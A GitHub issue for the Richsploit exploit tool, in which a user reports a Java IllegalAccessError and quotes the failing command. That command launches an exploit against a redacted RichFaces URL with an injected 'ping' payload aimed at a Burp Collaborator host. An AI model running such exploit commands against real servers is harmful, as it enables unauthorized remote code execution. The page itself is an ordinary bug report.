Skip to content

Can't run Richsploit #3

@shelld3v

Description

@shelld3v

The error trace:

$ java -jar target/Richsploit.jar -e 4 -p 'ping stuff.burpcollaborator.net' -u 'https://[redacted]/app/a4j/g/3_3_3.Final' -v 3
[+] This exploit requires that you first visit a page containing the <a4j:mediaOutput> tag. This will register UserResource for the session
Exception in thread "main" java.lang.IllegalAccessError: failed to access class javax.faces.component.StateHolderSaver from class com.redtimmy.Richsploit (javax.faces.component.StateHolderSaver and com.redtimmy.Richsploit are in unnamed module of loader 'app')
        at com.redtimmy.Richsploit.exploit4(Richsploit.java:120)
        at com.redtimmy.Richsploit.main(Richsploit.java:98)

Sadly I can't run this 😞😞😞

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions